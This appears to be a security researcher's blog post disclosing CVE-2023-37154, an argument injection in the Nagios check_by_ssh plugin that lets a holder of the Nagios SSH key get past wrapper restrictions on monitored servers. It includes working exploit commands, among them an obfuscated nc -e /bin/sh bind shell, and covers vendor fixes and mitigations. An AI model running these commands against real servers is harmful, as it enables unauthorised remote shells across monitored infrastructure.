---
layout: post
title: "Nagios Plugins: Hacking Monitored Servers with check_by_ssh and Argument Injection: CVE-2023-37154"
tags: [ssh, security, vuln_research]
description: "Turning Nagios from monitoring into a pivot: abusing check_by_ssh argument injection for RCE, bypassing SSH wrappers, and discussing CVE-2023-37154 and related pitfalls."
---

Nagios-compatible systems are some of the most widely used infrastructure monitoring solutions. They use "plugins" to monitor server performance, with "Nagios Core" interpreting results. However, there's a potentially significant security issue with Nagios and its default plugins – they may be an effective backdoor to the monitored servers. Even with sysadmin restrictions on the user, it's possible to bypass these restrictions and achieve remote code execution.

In this blog post, we'll explore how Nagios can be used to execute arbitrary commands on servers with [nagios-plugins](https://github.com/nagios-plugins/nagios-plugins) or [monitoring-plugins/monitoring-plugins](https://github.com/monitoring-plugins/monitoring-plugins) installed, and how argument injection vulnerabilities can be abused to bypass restrictions on the nagios user's SSH access.

---

### Nagios: A Quick History.

"Nagios" was originally created in 1999, and is one of the world's most popular infrastructure monitoring solutions. Effectively, Nagios has two parts: its core system, and its plugin system. The core system connects remotely to the server it is monitoring, runs a "plugin", and then handles the response.

Nagios Core has under-gone various forks and clones in history, forming the basis for Naemon and Icinga, as well as op5, Shinken. Various projects have been created in peripheral to Nagios, such as Thruk and Nagios XI, which are web interfaces for the aforementioned core systems.

---

### Nagios Plugins

Nagios Plugins are small programs or scripts that perform the checks or tests on the host. These plugins can do practically anything: check connectivity to networks or services, check system statistics, perform tests on local or remote services, and so on. They are completely modular, so you can add plugins to monitor specific services for your environment easily: they simply must return an exit status code and some text that can be parsed by Nagios Core.

---

### Nagios Connection Methods

Again, it is important to note that the monitoring data is nearly always collected via a _pull_ method -- Nagios Core connects to the server being monitored, plugins are run, and data is collected. The connection is generally either using SSH, or NRPE (Nagios Remote Plugin Executor); the former using either SSH keys or credentials, and the latter of which _can_ be authenticated using a pre-defined SSL certificate.

The Nagios official documentation states that [SSH is more secure than NRPE](https://assets.nagios.com/downloads/nagioscore/docs/nrpe/NRPE.pdf). But is that completely true?

---

### Nagios Backdoor User

When you set up nagios-plugins on the _monitored_ host, you normally create a new user for the plugins to run. Just like other human users on the server, this user has access to a shell accessible via SSH.

If Nagios uses SSH to execute the plugins on the server, then, effectively, a backdoor account has been created: if you hack the private key from the Nagios Core server, then you can gain system access to every server being monitored. Seems bad, right?

In reality, people don't usually allow the Nagios user on their monitored servers unrestricted shell access. Instead, a wrapper script restricts the user to running only installed plugins. For example, a restriction on Nagios' SSH key in _authorized_keys_:
```
command="/var/nagios/wrapper.sh",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa [..ssh pubkey..]
```
could limit the user to running only plugins installed in _/usr/lib/nagios/plugins/_:
```
#!/bin/sh

case "$SSH_ORIGINAL_COMMAND" in
    check_[a-z]*)
        /usr/lib/nagios/plugins/$SSH_ORIGINAL_COMMAND
        ;;
    *)
        exit 1
        ;;
esac
```

This way, the only commands that can be executed via SSH must begin with the name of an installed plugin. At first glance, this is a practical solution to restricting this account to not act as a backdoor for anybody that is able to gain access to the Nagios server.

---

### Nagios Plugin Hacking

During a recent pentest, I was in this exact situation: I had hacked the Nagios Core server, and had the private key used to connect via SSH to thousands of servers being monitored via Nagios. However, I couldn't get a shell. Not straight away, at least.

Looking through the list of default installed plugins by the Debian package, I came across the _check_by_ssh_ plugin, which "uses SSH to execute commands on a remote host". That is to say, Nagios Core connects to a monitored server, and that monitored server then connects to a further system.

_check_by_ssh_ comes with a handy option to pass parameters to the ssh client when it is executed on the monitored server:
```
     -o, --ssh-option=OPTION
        Call ssh with '-o OPTION' (may be used multiple times) [optional]
```

Coincidently while I was performing this aforementioned pentest, I was also working on a website documenting different ways to achieve command execution using a vulnerability known as argument injection. On that website, I have a list of different ways that the ssh client can be abused to execute commands _locally_. Documented at [gtfoargs.github.io/gtfoargs/ssh](https://gtfoargs.github.io/gtfoargs/ssh/), I list the well-known _ProxyCommand_, _PermitLocalCommand_, and _LocalCommand_ options available in SSH, which will execute commands on the _client side_.

Effectively, _check_by_ssh_ will call _ssh(1)_, which will call _system(3)_ with user-supplied data.

Putting this all together, I realized that I could abuse this functionality to execute commands on the monitored system, using this _check_by_ssh_ plugin. Using the following commands, I could execute _uname_:
```
ssh -i nagios.key nagios@server 'check_by_ssh -H remote-server -l passwordlessuser -o PermitLocalCommand=yes -o LocalCommand="uname" -o StrictHostKeyChecking=no'
```

The monitored server would connect to remote-server using the passwordlessuser user successfully, and _uname_ would run on the monitored server itself. Due to either a limitation or bug in _check_by_ssh_, spaces did not work for the `-o` parameter of _check_by_ssh_.

The solution to this problem was to use `\${IFS}` in place of every space needed. As such, I came up with:
```
ssh -i nagios.key nagios@server "check_by_ssh -H remote-server -l passwordlressuser -v -o PermitLocalCommand=yes -o StrictHostKeyChecking=no -o LocalCommand=nc\${IFS}-l\${IFS}-p1337\${IFS}-e/bin/sh"
```
and was able to spawn a shell on port 1337.

---
### Discussion and Fix

Different providers of _nagios-plugins_ view this issue differently. The original [http://nagios-plugins.org/](http://nagios-plugins.org/) considers this an issue and has fixed it in [this commit](https://github.com/nagios-plugins/nagios-plugins/commit/e8810de21be80148562b7e0168b0a62aeedffde6). [monitoring-plugins](https://github.com/monitoring-plugins/monitoring-plugins), which provides _nagios-plugins_ for Ubuntu and Debian, do not consider this an issue, and they conclude that while the execution of arbitrary commands by _check_by_ssh_ is not well known, there may be legitimate reason to support the functionality afforded by _ssh(1)_. In the former case, CVE-2023-37154 was assigned to the issue.

There is of course another discussion of how much responsibility lays on the sysadmins monitoring these systems. Other than abusing this functionality in _check_by_ssh_, the _negate_ plugin can also arbitrarily run commands by design:
```
# ./negate --help
[..]
Negates the status of a plugin (returns OK for CRITICAL and vice-versa).
Additional switches can be used to control which state becomes what.

# ./negate '/bin/uname -a'
Linux security 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux
```

However, even if a sysadmin installs only the plugins they need, there is an unknown factor of whether the plugins may _possibly_ execute arbitrary commands on the host themself.

The aforementioned NRPE (which is now deprecated) recommended using predefined lists of commands which the plugins on the servers would run. In order to parse user-defined arguments, one must specifically configure `dont_blame_nrpe=1`. That may be the most secure method for SSH too.

---
### Conclusion


In the world of security, it is the weakest link that an attacker should focus their attention on. Whether it be physical or digital, a server or a service; if an attacker is able to compromise a link that is imperative to the overall chain, then the whole chain falls. Monitoring systems are often neglected in terms of security despite their wide-reaching access. If you can take the Nagios server, you can take over the whole farm.